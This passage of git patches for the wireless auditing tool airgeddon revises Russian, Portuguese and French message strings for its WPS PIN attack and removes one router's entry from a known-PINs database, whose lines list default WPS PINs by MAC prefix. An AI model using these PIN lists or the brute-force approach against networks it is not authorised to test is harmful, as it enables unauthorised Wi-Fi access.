проблемы \"плохого FCS (контроля последовательности кадров)\" если она существует. Параметризация..." + arr["RUSSIAN",353]="Проверка возможного решения проблемы \"bad FCS (контроля последовательности кадров)\" если она существует. Параметризация..." arr["GREEK",353]="Γίνεται έλεγχος επίλυσης πιθανού σφάλματος \"bad FCS\" αν υπάρχει. Γίνεται παραμετροποίηση..." arr["ENGLISH",354]="Done! parameter set" @@ -3474,7 +3474,7 @@ function language_strings() { arr["FRENCH",372]="${pending_of_translation} Aucune base de données de fichiers PINs connus ne peuvent pas effectuer cette attaque" arr["CATALAN",372]="${pending_of_translation} Sense fitxer de base de dades de PINs coneguts no es pot realitzar aquest atac" arr["PORTUGUESE",372]="Esse ataque não pode ser executado sem o arquivo com banco de dados de PINs conhecido " - arr["RUSSIAN",372]="${pending_of_translation} Эта атака не может быть выполнена без файла базы данных известных PINs" + arr["RUSSIAN",372]="Эта атака не может быть выполнена без файла базы данных известных PIN" arr["GREEK",372]="Η επίθεση αυτή δεν μπορεί να πραγματοποιηθεί χωρίς το αρχείο με την βάση δεδομένων γνωστών PIN" arr["ENGLISH",373]="The known PINs database file exists. Script can continue..." @@ -3482,7 +3482,7 @@ function language_strings() { arr["FRENCH",373]="${pending_of_translation} Il y a une base de données de fichier PINs connu. Le script peut continuer..." arr["CATALAN",373]="${pending_of_translation} Hi ha el fitxer de base de dades de PINs coneguts. El script pot continuar..." arr["PORTUGUESE",373]="Há um arquivo com banco de dados de PINs conhecidos. O script pode continuar..." - arr["RUSSIAN",373]="${pending_of_translation} Известный файл базы данных PINs существует. Скрипт может продолжать..." + arr["RUSSIAN",373]="Файл с базой данных известных PIN существует. Скрипт может продолжать..." arr["GREEK",373]="Το αρχείο με την βάση δεδομένων γνωστών PIN υπάρχει. Το script μπορεί να συνεχίσει..." arr["ENGLISH",374]="Local PINs database file (${known_pins_dbfile}) can't be found in the script folder. It will be attempted to download" @@ -3490,7 +3490,7 @@ function language_strings() { arr["FRENCH",374]="${pending_of_translation} Impossible de trouver la base de données de fichiers locaux de codes PIN (${known_pins_dbfile}) dans le dossier de script. Il va tenter de télécharger" arr["CATALAN",374]="${pending_of_translation} No s'ha pogut trobar el fitxer local de la base de dades de PINs (${known_pins_dbfile}) a la carpeta del script. S'intentarà descarregar" arr["PORTUGUESE",374]="Não foi possível localizar o arquivo (${known_pins_dbfile}) com banco de dados local na pasta do script. O script vai tentar realizar o download" - arr["RUSSIAN",374]="${pending_of_translation} Локальный файл базы данных PINs (${known_pins_dbfile}) не может быть найден в папке скрипта. Будет предпринята попытка загрузить" + arr["RUSSIAN",374]="Локальный файл базы данных PIN (${known_pins_dbfile}) не найден в папке скрипта. Будет предпринята попытка загрузить его" arr["GREEK",374]="Το αρχείο με την βάση δεδομένων PIN (${known_pins_dbfile}) δεν βρέθηκε στο φάκελο με το script. Θα προσπαθήσει να κατέβει" arr["ENGLISH",375]="It seems you have no internet access" @@ -3506,7 +3506,7 @@ function language_strings() { arr["FRENCH",376]="Base de données PIN (${known_pins_dbfile}) présente. Recherche d’éventuelles actualisations" arr["CATALAN",376]="${pending_of_translation} S'ha trobat un fitxer local de base de dades de PINs (${known_pins_dbfile}). No obstant això es va a comprovar si hi ha un més actualitza" arr["PORTUGUESE",376]="Um banco de dados local de PINs foi encontrado (${known_pins_dbfile}). No entanto, será verificado se existe um mais atualizado" - arr["RUSSIAN",376]="${pending_of_translation} Локальный файл базы данных PINs (${known_pins_dbfile}) был найден. В любом случае будет выполнена проверка на более новый" + arr["RUSSIAN",376]="Локальный файл базы данных PIN (${known_pins_dbfile}) был найден. В любом случае будет выполнена проверка на наличие новой версии" arr["GREEK",376]="Το αρχείο με την βάση δεδομένων PIN (${known_pins_dbfile}) βρέθηκε. Παρ'όλα αυτά θα πραγματοποιηθεί έλεγχος για νεότερη έκδοση" arr["ENGLISH",377]="A more up-to-date PINs database file has been successfully downloaded" @@ -3514,7 +3514,7 @@ function language_strings() { arr["FRENCH",377]="La base de données a été actualisée" arr["CATALAN",377]="${pending_of_translation} S'ha descarregat amb èxit un fitxer de base de dades de PINs més actualitzat" arr["PORTUGUESE",377]="Um arquivo com banco de dados com PINs mais atualizado foi baixado com sucesso" - arr["RUSSIAN",377]="${pending_of_translation} Файл базы данных более последнюю дату PINs была успешно загружена" + arr["RUSSIAN",377]="Новая версия файла базы данных PIN была успешно загружена" arr["GREEK",377]="Ένα ενημερωμένο αρχείο με την βάση δεδομένων PIN έχει κατέβει με επιτυχία" arr["ENGLISH",378]="An error occurred while trying to download the PINs database file" @@ -3522,7 +3522,7 @@ function language_strings() { arr["FRENCH",378]="Erreur lors du téléchargement de l'actualisation de la base de données" arr["CATALAN",378]="${pending_of_translation} S'ha produït un error en intentar descarregar el fitxer de base de dades de PINs" arr["PORTUGUESE",378]="Ocorreu um erro ao tentar baixar o arquivo com banco de dados de PINs" - arr["RUSSIAN",378]="${pending_of_translation} Произошла ошибка при попытке загрузить файл базы данных PINs" + arr["RUSSIAN",378]="При попытке загрузить файл базы данных PIN произошла ошибка" arr["GREEK",378]="Παρουσιάστηκε σφάλμα στην προσπάθεια να κατέβει το αρχείο με την βάση δεδομένων PIN" arr["ENGLISH",379]="Check of the PINs database file has already been done. It will not be done again..." @@ -3530,7 +3530,7 @@ function language_strings() { arr["FRENCH",379]="La vérification de la base de données a été faite et ne sera plus relancée" arr["CATALAN",379]="${pending_of_translation} La revisió del fitxer de base de dades de PINs ja es va fer. No es realitzarà de nou..." arr["PORTUGUESE",379]="Verificando os PINs no arquivo com banco de dados. Isso não vai ser feito novamente..." - arr["RUSSIAN",379]="${pending_of_translation} Проверка файла базы данных PINs уже сделано. Это не будет сделано еще раз..." + arr["RUSSIAN",379]="Уже выполнена проверка файла базы данных PIN. Она не будет делаться ещё раз..." arr["GREEK",379]="Έχει γίνει ήδη έλεγχος του αρχείου με την βάση δεδομένων PIN. Δεν θα ξαναελεγχθεί..." arr["ENGLISH",380]="Do you want to try again next time you launch this attack for this session? ${normal_color}[y/n]" @@ -3538,7 +3538,7 @@ function language_strings() { arr["FRENCH",380]="${pending_of_translation} Vous voulez que la prochaine fois que vous lancez cette attaque dans cette session retry? ${normal_color}[y/n]" arr["CATALAN",380]="${pending_of_translation} ¿Vols que la propera vegada que llancis aquest atac en aquesta sessió es torni a intentar? ${normal_color}[y/n]" arr["PORTUGUESE",380]="Você quer tentar novamente na próxima vez que iniciar este ataque nessa sessão? ${normal_color}[y/n]" - arr["RUSSIAN",380]="${pending_of_translation} Вы хотите, чтобы попробовать снова в следующий раз, когда вы запустите эту атаку для этого сеанса? ${normal_color}[y/n]" + arr["RUSSIAN",380]="Вы хотите снова продолжить эту сессию при запуске этой атаки в следующий раз? ${normal_color}[y/n]" arr["GREEK",380]="Θέλετε να δοκιμάσετε ξανά την επόμενη φορά που θα ξεκινήσει αυτή η επίθεση για αυτή την συνεδρία; ${normal_color}[y/n]" arr["ENGLISH",381]="An error occurred while trying to access to the checksum file of remote PINs database" @@ -3546,7 +3546,7 @@ function language_strings() { arr["FRENCH",381]="Erreur de checksum avec la base de données PIN en ligne" arr["CATALAN",381]="${pending_of_translation} S'ha produït un error en intentar accedir al fitxer de checksum de la base de dades de PINs remota" arr["PORTUGUESE",381]="Ocorreu um erro ao tentar acessar o arquivo checksum do banco de dados de PINs remoto" - arr["RUSSIAN",381]="${pending_of_translation} Произошла ошибка при попытке получить доступ к контрольной суммы файла удаленной базы данных PINs" + arr["RUSSIAN",381]="Произошла ошибка при попытке получить доступ к контрольной сумме файла удаленной базы данных PIN" arr["GREEK",381]="Παρουσιάστηκε σφάλμα στην προσπάθεια πρόσβασης στο αρχείο checksum της απομακρυσμένης βάσης δεδομένων PIN" arr["ENGLISH",382]="Checksums of the local and remote files match. Your PINs database file is up-to-date" @@ -3554,7 +3554,7 @@ function language_strings() { arr["FRENCH",382]="Les checksums de la base de données installée et de la base de données en ligne diffèrent. Actualisation de la base de données" arr["CATALAN",382]="${pending_of_translation} Els checksum dels fitxers local i remot coincideixen. El teu fitxer de base de dades de PINs està actualitzat" arr["PORTUGUESE",382]="A checksum dos arquivos locais e remotos correspondem. Seu banco de dados local está atualizado" - arr["RUSSIAN",382]="${pending_of_translation} Контрольные суммы локальных и удаленных файлов совпадают. Ваш файл базы данных обновляется PINs" + arr["RUSSIAN",382]="Контрольные суммы локального и удаленного файлов совпадают. Ваш файл базы данных PIN обновляется" arr["GREEK",382]="Τα checksums των τοπικών και των απομακρυσμένων αρχείων ταιριάζουν. Το αρχείο με την βάση δεδομένων PIN είναι ενημερωμένο" arr["ENGLISH",383]="It seems there is a more up-to-date PINs database file. It will be downloaded..." @@ -3562,7 +3562,7 @@ function language_strings() { arr["FRENCH",383]="Une base de données PIN plus actuelle a été détectée et va être installée" arr["CATALAN",383]="${pending_of_translation} Sembla que hi ha un fitxer de base de dades de PINs més actualitzat. Serà descarregat..." arr["PORTUGUESE",383]="Parece que há um arquivo com banco de dados de PINs mais recente. Ele será baixado..." - arr["RUSSIAN",383]="${pending_of_translation} Кажется, есть файл базы данных PINs более последнюю дату. Он будет загружен..." + arr["RUSSIAN",383]="Кажется, есть более новый файл базы данных PIN. Он будет загружен..." arr["GREEK",383]="Φαίνεται πως υπάρχει ένα νεότερο αρχείο με την βάση δεδομένων PIN. Θα κατέβει..." arr["ENGLISH",384]="Searching in PINs database. Please be patient..." @@ -3570,7 +3570,7 @@ function language_strings() { arr["FRENCH",384]="Recherche dans la base de données PIN. Ayez un peu de patience s'il vous plaît" arr["CATALAN",384]="${pending_of_translation} Buscant a la base de dades de PINs. Si us plau té paciència..." arr["PORTUGUESE",384]="Pesquisando os PINs no banco de dados. Por favor, seja paciente..." - arr["RUSSIAN",384]="${pending_of_translation} Поиск в базе данных PINs. Додождите немного..." + arr["RUSSIAN",384]="Поиск в базе данных PIN. Подождите немного..." arr["GREEK",384]="Γίνεται αναζήτηση στην βάση δεδομένων PIN. Παρακαλώ έχετε λίγη υπομονή..." arr["ENGLISH",385]="Only one match found in the PINs database" @@ -3578,7 +3578,7 @@ function language_strings() { arr["FRENCH",385]="Un PIN a été trouvé avec la base de données" arr["CATALAN",385]="${pending_of_translation} S'ha trobat només una coincidència a la base de dades de PINs" arr["PORTUGUESE",385]="Somente uma correspondência encontrada no banco de dados de PIN" - arr["RUSSIAN",385]="${pending_of_translation} Только один матч найден в базе данных PINs" + arr["RUSSIAN",385]="В базе данных PIN найдено только одно совпадение" arr["GREEK",385]="Μόνο ένα αντίστοιχο PIN βρέθηκε στην βάση δεδομένων" arr["ENGLISH",386]="${counter_pins_found} matching PINs have been found in the PINs database" @@ -3586,7 +3586,7 @@ function language_strings() { arr["FRENCH",386]="${counter_pins_found} PIN possibles selon la base de données" arr["CATALAN",386]="${pending_of_translation} S'han trobat ${counter_pins_found} PINs coincidents a la base de dades de PINs" arr["PORTUGUESE",386]="Encontrados ${counter_pins_found} PINs correspondentes no banco de dados de PINs" - arr["RUSSIAN",386]="${pending_of_translation} ${counter_pins_found} соответствие ПИНы были найдены в базе данных PINs" + arr["RUSSIAN",386]="${counter_pins_found} соответствующих ПИНа были найдены в базе данных PIN" arr["GREEK",386]="${counter_pins_found} αντίστοιχα PINs βρέθηκαν στην βάση δεδομένων" arr["ENGLISH",387]="No matches found in the PINs database" @@ -3594,7 +3594,7 @@ function language_strings() { arr["FRENCH",387]="Aucun PIN n'a été trouvé dans la base données" arr["CATALAN",387]="${pending_of_translation} No s'ha trobat cap coincidència a la base de dades de PINs" arr["PORTUGUESE",387]="Nenhuma correspondência encontrada no banco de dados de PINs" - arr["RUSSIAN",387]="${pending_of_translation} Нет совпадений найдено в базе данных PINs" + arr["RUSSIAN",387]="В базе данных PIN не найдено совпадений" arr["GREEK",387]="Δε βρέθηκε αντίστοιχο PIN στην βάση δεδομένων" arr["ENGLISH",388]="Calculating and adding possible PINs using common known algorithms..." @@ -3602,7 +3602,7 @@ function language_strings() { arr["FRENCH",388]="Générations des PIN en appliquant les algorithmes les plus communs" arr["CATALAN",388]="${pending_of_translation} Calculant i afegint possibles PINs usant algoritmes coneguts comuns..." arr["PORTUGUESE",388]="Cálculando e adicionando possíveis PINs usando algoritmos comuns conhecidos..." - arr["RUSSIAN",388]="${pending_of_translation} Вычисление и добавление возможных PINs с использованием обычных известных алгоритмов..." + arr["RUSSIAN",388]="Вычисление и добавление возможных PIN с использованием общеизвестных алгоритмов..." arr["GREEK",388]="Γίνεται υπολογισμός πιθανών PINs και πρόσθεση αυτών κάνοντας χρήση κοινών γνωστών αλγορίθμων..." arr["ENGLISH",389]="PINs calculated by algorithms have been added. The attack will be launched with a total of ${counter_pins_found} PINs" @@ -3610,7 +3610,7 @@ function language_strings() { arr["FRENCH",389]="Ajout des PIN calculées au moyen des algorithmes. L'attaque se fera avec ${counter_pins_found} PIN" arr["CATALAN",389]="${pending_of_translation} S'han afegit PINs calculats pels algoritmes. L'atac es llançarà amb un total de ${counter_pins_found} PINs" arr["PORTUGUESE",389]="Os PINs calculados com algoritmos foram adicionados. O ataque será iniciado com um total de ${counter_pins_found} PINs" - arr["RUSSIAN",389]="${pending_of_translation} PINs, рассчитанные с помощью алгоритмов, которые были добавлены. Атака будет запущен в общей сложности ${counter_pins_found} PINs" + arr["RUSSIAN",389]="Добавлены PIN, рассчитанные с помощью алгоритмов. Атака будет произведена в общей сложности по ${counter_pins_found} PIN" arr["GREEK",389]="Προστέθηκαν τα PINs που υπολογίστηκαν από τους αλγορίθμους. Η επίθεση θα ξεκινήσει με ${counter_pins_found} PINs συνολικά" arr["ENGLISH",390]="Some access points have only PBC (Push Button Connect) enabled and you can't connect via WPS if you don't press the physical button on the device" @@ -3618,7 +3618,7 @@ function language_strings() { arr["FRENCH",390]="${pending_of_translation} Certains points d'accès ne sont activés que PBC (Push Button Connect) et vous ne pouvez pas vous connecter en WPS si le même bouton physique est pressé" arr["CATALAN",390]="${pending_of_translation} Alguns punts d'accés tenen activat només PBC (Push Button Connect) i no podràs connectar per WPS si no es prem el botó físic de la mateixa" arr["PORTUGUESE",390]="${pending_of_translation} Alguns pontos de acesso têm permitido PBC (Push Button Connect) em que você não pode se conectar via WPS se o botão físico não for pressionado" - arr["RUSSIAN",390]="${pending_of_translation} Некоторые точки доступа имеют только PBC (Push Button Connect) включен, и вы не можете подключиться через WPS, если вы не нажмете на физическую кнопку на устройстве" + arr["RUSSIAN",390]="На некоторых точках доступа включено только PBC (Push Button Connect), т.е. подключение по нажатой кнопке, и вы не можете подключиться через WPS, если вы не нажмете на физическую кнопку устройства" arr["GREEK",390]="Μερικά σημεία πρόσβασης έχουν PBC (Push Button Connect) και δεν μπορείτε να συνδεθείτε μέσω WPS αν δεν πατήσετε το κουμπί αυτό στη συσκευή" case "${3}" in From cb75de4c486a0da890d488bbb2a7475ed5869430 Mon Sep 17 00:00:00 2001 From: Luan Date: Thu, 8 Dec 2016 12:16:57 -0200 Subject: [PATCH 18/25] Some changes in the Portuguese language --- airgeddon.sh | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 4e20443ed..c89477c42 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3513,7 +3513,7 @@ function language_strings() { arr["SPANISH",377]="Se ha descargado con éxito un fichero de base de datos de PINs más actualizado" arr["FRENCH",377]="La base de données a été actualisée" arr["CATALAN",377]="${pending_of_translation} S'ha descarregat amb èxit un fitxer de base de dades de PINs més actualitzat" - arr["PORTUGUESE",377]="Um arquivo com banco de dados com PINs mais atualizado foi baixado com sucesso" + arr["PORTUGUESE",377]="O banco de dados foi atualizado com sucesso" arr["RUSSIAN",377]="Новая версия файла базы данных PIN была успешно загружена" arr["GREEK",377]="Ένα ενημερωμένο αρχείο με την βάση δεδομένων PIN έχει κατέβει με επιτυχία" @@ -3521,7 +3521,7 @@ function language_strings() { arr["SPANISH",378]="Ocurrió un error al intentar descargar el fichero de base de datos de PINs" arr["FRENCH",378]="Erreur lors du téléchargement de l'actualisation de la base de données" arr["CATALAN",378]="${pending_of_translation} S'ha produït un error en intentar descarregar el fitxer de base de dades de PINs" - arr["PORTUGUESE",378]="Ocorreu um erro ao tentar baixar o arquivo com banco de dados de PINs" + arr["PORTUGUESE",378]="Ocorreu um erro ao tentar atualizar o banco de dados" arr["RUSSIAN",378]="При попытке загрузить файл базы данных PIN произошла ошибка" arr["GREEK",378]="Παρουσιάστηκε σφάλμα στην προσπάθεια να κατέβει το αρχείο με την βάση δεδομένων PIN" @@ -3529,7 +3529,7 @@ function language_strings() { arr["SPANISH",379]="El chequeo del fichero de base de datos de PINs ya se hizo. No se realizará de nuevo..." arr["FRENCH",379]="La vérification de la base de données a été faite et ne sera plus relancée" arr["CATALAN",379]="${pending_of_translation} La revisió del fitxer de base de dades de PINs ja es va fer. No es realitzarà de nou..." - arr["PORTUGUESE",379]="Verificando os PINs no arquivo com banco de dados. Isso não vai ser feito novamente..." + arr["PORTUGUESE",379]="Verificando os PINs do banco de dados. Isso não vai ser feito novamente..." arr["RUSSIAN",379]="Уже выполнена проверка файла базы данных PIN. Она не будет делаться ещё раз..." arr["GREEK",379]="Έχει γίνει ήδη έλεγχος του αρχείου με την βάση δεδομένων PIN. Δεν θα ξαναελεγχθεί..." @@ -3537,7 +3537,7 @@ function language_strings() { arr["SPANISH",380]="¿Deseas que la próxima vez que lances este ataque en esta sesión se vuelva a intentar? ${normal_color}[y/n]" arr["FRENCH",380]="${pending_of_translation} Vous voulez que la prochaine fois que vous lancez cette attaque dans cette session retry? ${normal_color}[y/n]" arr["CATALAN",380]="${pending_of_translation} ¿Vols que la propera vegada que llancis aquest atac en aquesta sessió es torni a intentar? ${normal_color}[y/n]" - arr["PORTUGUESE",380]="Você quer tentar novamente na próxima vez que iniciar este ataque nessa sessão? ${normal_color}[y/n]" + arr["PORTUGUESE",380]="Você quer buscar por atualizações na próxima vez que iniciar este ataque nessa sessão? ${normal_color}[y/n]" arr["RUSSIAN",380]="Вы хотите снова продолжить эту сессию при запуске этой атаки в следующий раз? ${normal_color}[y/n]" arr["GREEK",380]="Θέλετε να δοκιμάσετε ξανά την επόμενη φορά που θα ξεκινήσει αυτή η επίθεση για αυτή την συνεδρία; ${normal_color}[y/n]" @@ -3545,7 +3545,7 @@ function language_strings() { arr["SPANISH",381]="Ocurrió un error al intentar acceder al fichero de checksum de la base de datos de PINs remota" arr["FRENCH",381]="Erreur de checksum avec la base de données PIN en ligne" arr["CATALAN",381]="${pending_of_translation} S'ha produït un error en intentar accedir al fitxer de checksum de la base de dades de PINs remota" - arr["PORTUGUESE",381]="Ocorreu um erro ao tentar acessar o arquivo checksum do banco de dados de PINs remoto" + arr["PORTUGUESE",381]="Ocorreu um erro ao tentar acessar o arquivo checksum do banco de dados remoto" arr["RUSSIAN",381]="Произошла ошибка при попытке получить доступ к контрольной сумме файла удаленной базы данных PIN" arr["GREEK",381]="Παρουσιάστηκε σφάλμα στην προσπάθεια πρόσβασης στο αρχείο checksum της απομακρυσμένης βάσης δεδομένων PIN" @@ -3561,7 +3561,7 @@ function language_strings() { arr["SPANISH",383]="Parece que hay un fichero de base de datos de PINs más actualizado. Será descargado..." arr["FRENCH",383]="Une base de données PIN plus actuelle a été détectée et va être installée" arr["CATALAN",383]="${pending_of_translation} Sembla que hi ha un fitxer de base de dades de PINs més actualitzat. Serà descarregat..." - arr["PORTUGUESE",383]="Parece que há um arquivo com banco de dados de PINs mais recente. Ele será baixado..." + arr["PORTUGUESE",383]="Parece que há um banco de dados de PINs mais recente. Ele será baixado..." arr["RUSSIAN",383]="Кажется, есть более новый файл базы данных PIN. Он будет загружен..." arr["GREEK",383]="Φαίνεται πως υπάρχει ένα νεότερο αρχείο με την βάση δεδομένων PIN. Θα κατέβει..." @@ -3577,7 +3577,7 @@ function language_strings() { arr["SPANISH",385]="Se ha encontrado sólo una coincidencia en la base de datos de PINs" arr["FRENCH",385]="Un PIN a été trouvé avec la base de données" arr["CATALAN",385]="${pending_of_translation} S'ha trobat només una coincidència a la base de dades de PINs" - arr["PORTUGUESE",385]="Somente uma correspondência encontrada no banco de dados de PIN" + arr["PORTUGUESE",385]="Somente um PIN correspondente no banco de dados" arr["RUSSIAN",385]="В базе данных PIN найдено только одно совпадение" arr["GREEK",385]="Μόνο ένα αντίστοιχο PIN βρέθηκε στην βάση δεδομένων" @@ -3585,7 +3585,7 @@ function language_strings() { arr["SPANISH",386]="Se han encontrado ${counter_pins_found} PINs coincidentes en la base de datos de PINs" arr["FRENCH",386]="${counter_pins_found} PIN possibles selon la base de données" arr["CATALAN",386]="${pending_of_translation} S'han trobat ${counter_pins_found} PINs coincidents a la base de dades de PINs" - arr["PORTUGUESE",386]="Encontrados ${counter_pins_found} PINs correspondentes no banco de dados de PINs" + arr["PORTUGUESE",386]="Encontrados ${counter_pins_found} PINs correspondentes no banco de dados" arr["RUSSIAN",386]="${counter_pins_found} соответствующих ПИНа были найдены в базе данных PIN" arr["GREEK",386]="${counter_pins_found} αντίστοιχα PINs βρέθηκαν στην βάση δεδομένων" @@ -3593,7 +3593,7 @@ function language_strings() { arr["SPANISH",387]="No se ha encontrado ninguna coincidencia en la base de datos de PINs" arr["FRENCH",387]="Aucun PIN n'a été trouvé dans la base données" arr["CATALAN",387]="${pending_of_translation} No s'ha trobat cap coincidència a la base de dades de PINs" - arr["PORTUGUESE",387]="Nenhuma correspondência encontrada no banco de dados de PINs" + arr["PORTUGUESE",387]="Nenhuma correspondência encontrada no banco de dados" arr["RUSSIAN",387]="В базе данных PIN не найдено совпадений" arr["GREEK",387]="Δε βρέθηκε αντίστοιχο PIN στην βάση δεδομένων" @@ -3617,7 +3617,7 @@ function language_strings() { arr["SPANISH",390]="Algunos puntos de acceso tienen activado solamente PBC (Push Button Connect) y no podrás conectar por WPS si no se pulsa el boton físico del mismo" arr["FRENCH",390]="${pending_of_translation} Certains points d'accès ne sont activés que PBC (Push Button Connect) et vous ne pouvez pas vous connecter en WPS si le même bouton physique est pressé" arr["CATALAN",390]="${pending_of_translation} Alguns punts d'accés tenen activat només PBC (Push Button Connect) i no podràs connectar per WPS si no es prem el botó físic de la mateixa" - arr["PORTUGUESE",390]="${pending_of_translation} Alguns pontos de acesso têm permitido PBC (Push Button Connect) em que você não pode se conectar via WPS se o botão físico não for pressionado" + arr["PORTUGUESE",390]="Alguns pontos de acesso têm ativo somente o PBC (Push Button Connect) em que você não pode se conectar via WPS se o botão físico não for pressionado" arr["RUSSIAN",390]="На некоторых точках доступа включено только PBC (Push Button Connect), т.е. подключение по нажатой кнопке, и вы не можете подключиться через WPS, если вы не нажмете на физическую кнопку устройства" arr["GREEK",390]="Μερικά σημεία πρόσβασης έχουν PBC (Push Button Connect) και δεν μπορείτε να συνδεθείτε μέσω WPS αν δεν πατήσετε το κουμπί αυτό στη συσκευή" From 40019d476edcdf5841070500ecb94c0b5e4a5a23 Mon Sep 17 00:00:00 2001 From: kcdtv Date: Sat, 10 Dec 2016 01:29:51 +0100 Subject: [PATCH 19/25] Update airgeddon.sh finished french translation About 390. PBC can be done without pushing the button, by software (from the webinterface, throuh wpa_cli in command line) And I stil think that it is not a very accurate comment, or too long (describing push button is unnecessary and it is not accurate) or too short (there are more reasons that would explain a mechanic fail, like having the WPS enabled in mode PIN without configuring properly a PIN) But i am a bit "toca-huevos" on this one.... :smiley_cat: --- airgeddon.sh | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index c89477c42..1cd936c45 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3471,7 +3471,7 @@ function language_strings() { arr["ENGLISH",372]="This attack can't be performed without known PINs database file" arr["SPANISH",372]="Sin fichero de base de datos de PINs conocidos no se puede realizar este ataque" - arr["FRENCH",372]="${pending_of_translation} Aucune base de données de fichiers PINs connus ne peuvent pas effectuer cette attaque" + arr["FRENCH",372]="Sans la base donées PIN cette attaque ne peut pas être exécutée" arr["CATALAN",372]="${pending_of_translation} Sense fitxer de base de dades de PINs coneguts no es pot realitzar aquest atac" arr["PORTUGUESE",372]="Esse ataque não pode ser executado sem o arquivo com banco de dados de PINs conhecido " arr["RUSSIAN",372]="Эта атака не может быть выполнена без файла базы данных известных PIN" @@ -3479,7 +3479,7 @@ function language_strings() { arr["ENGLISH",373]="The known PINs database file exists. Script can continue..." arr["SPANISH",373]="Existe el fichero de base de datos de PINs conocidos. El script puede continuar..." - arr["FRENCH",373]="${pending_of_translation} Il y a une base de données de fichier PINs connu. Le script peut continuer..." + arr["FRENCH",373]="La base de données PIN est bien présente. Le script peut continuer..." arr["CATALAN",373]="${pending_of_translation} Hi ha el fitxer de base de dades de PINs coneguts. El script pot continuar..." arr["PORTUGUESE",373]="Há um arquivo com banco de dados de PINs conhecidos. O script pode continuar..." arr["RUSSIAN",373]="Файл с базой данных известных PIN существует. Скрипт может продолжать..." @@ -3487,7 +3487,7 @@ function language_strings() { arr["ENGLISH",374]="Local PINs database file (${known_pins_dbfile}) can't be found in the script folder. It will be attempted to download" arr["SPANISH",374]="No se ha podido encontrar el fichero local de la base de datos de PINs (${known_pins_dbfile}) en la carpeta del script. Se intentará descargar" - arr["FRENCH",374]="${pending_of_translation} Impossible de trouver la base de données de fichiers locaux de codes PIN (${known_pins_dbfile}) dans le dossier de script. Il va tenter de télécharger" + arr["FRENCH",374]="Base de donnée PIN (${known_pins_dbfile}) absente du dossier contenant le script. Tentative de téléchargement" arr["CATALAN",374]="${pending_of_translation} No s'ha pogut trobar el fitxer local de la base de dades de PINs (${known_pins_dbfile}) a la carpeta del script. S'intentarà descarregar" arr["PORTUGUESE",374]="Não foi possível localizar o arquivo (${known_pins_dbfile}) com banco de dados local na pasta do script. O script vai tentar realizar o download" arr["RUSSIAN",374]="Локальный файл базы данных PIN (${known_pins_dbfile}) не найден в папке скрипта. Будет предпринята попытка загрузить его" @@ -3535,7 +3535,7 @@ function language_strings() { arr["ENGLISH",380]="Do you want to try again next time you launch this attack for this session? ${normal_color}[y/n]" arr["SPANISH",380]="¿Deseas que la próxima vez que lances este ataque en esta sesión se vuelva a intentar? ${normal_color}[y/n]" - arr["FRENCH",380]="${pending_of_translation} Vous voulez que la prochaine fois que vous lancez cette attaque dans cette session retry? ${normal_color}[y/n]" + arr["FRENCH",380]="La prochaine fois que vous relancez cette attaque pendant cette session, voulez-vous oui ou non [y/n] que l'actualisation soit lancée? ${normal_color}[y/n]" arr["CATALAN",380]="${pending_of_translation} ¿Vols que la propera vegada que llancis aquest atac en aquesta sessió es torni a intentar? ${normal_color}[y/n]" arr["PORTUGUESE",380]="Você quer buscar por atualizações na próxima vez que iniciar este ataque nessa sessão? ${normal_color}[y/n]" arr["RUSSIAN",380]="Вы хотите снова продолжить эту сессию при запуске этой атаки в следующий раз? ${normal_color}[y/n]" @@ -3615,7 +3615,7 @@ function language_strings() { arr["ENGLISH",390]="Some access points have only PBC (Push Button Connect) enabled and you can't connect via WPS if you don't press the physical button on the device" arr["SPANISH",390]="Algunos puntos de acceso tienen activado solamente PBC (Push Button Connect) y no podrás conectar por WPS si no se pulsa el boton físico del mismo" - arr["FRENCH",390]="${pending_of_translation} Certains points d'accès ne sont activés que PBC (Push Button Connect) et vous ne pouvez pas vous connecter en WPS si le même bouton physique est pressé" + arr["FRENCH",390]="${pending_of_translation} Certains points d'accès n'ont que le WPS PBC (Push Button Connect) activé et vous ne pourrez pas vous connecter par WPS sans presser le bouton du routeur" arr["CATALAN",390]="${pending_of_translation} Alguns punts d'accés tenen activat només PBC (Push Button Connect) i no podràs connectar per WPS si no es prem el botó físic de la mateixa" arr["PORTUGUESE",390]="Alguns pontos de acesso têm ativo somente o PBC (Push Button Connect) em que você não pode se conectar via WPS se o botão físico não for pressionado" arr["RUSSIAN",390]="На некоторых точках доступа включено только PBC (Push Button Connect), т.е. подключение по нажатой кнопке, и вы не можете подключиться через WPS, если вы не нажмете на физическую кнопку устройства" From 9eb8b2cd6d54018aa48675660c9fe58728ee7ce5 Mon Sep 17 00:00:00 2001 From: kcdtv Date: Sat, 10 Dec 2016 16:21:33 +0100 Subject: [PATCH 20/25] Update known_pins.db Removed line for AMPER asl2566: This PINs are not generic, there are no generic PIN for this device. This is crap : PINDB["8C0CA3"]="40371211 82079541 71259987 15750143 19236833 21942103 16630230 27429498 38517804 55573532 25811612 28233275 58565704 22547121 40371211" This routeur is actually known for generating PIN without valid checksum and a reaver modificated version can be required to brute force them. --- known_pins.db | 1 - 1 file changed, 1 deletion(-) diff --git a/known_pins.db b/known_pins.db index fa26e8384..8a0ed1c37 100644 --- a/known_pins.db +++ b/known_pins.db @@ -145,7 +145,6 @@ function set_pin_database() { PINDB["841B5E"]="78100053 21120374 48062435 06042547" PINDB["84C9B2"]="84257123 12345670 27786598" PINDB["88252C"]="35642596 03526859" - PINDB["8C0CA3"]="40371211 82079541 71259987 15750143 19236833 21942103 16630230 27429498 38517804 55573532 25811612 28233275 58565704 22547121 40371211" PINDB["8CA982"]="18625790" PINDB["8CCA32"]="71259987" PINDB["8COC22"]="22263896" From 921d1bbc1c858dafc1c949666ebd17b552b847ee Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 10 Dec 2016 21:05:52 +0100 Subject: [PATCH 21/25] Fixed problem showing selected charset for hashcat v3.0 on offline bruteforce decrypt attack --- airgeddon.sh | 14 ++++++++++++-- changelog.txt | 1 + 2 files changed, 13 insertions(+), 2 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 1cd936c45..07bf66263 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -6404,11 +6404,19 @@ function set_show_charset() { case ${charset_tmp} in "?a") for item in "${hashcat_charsets[@]}"; do - 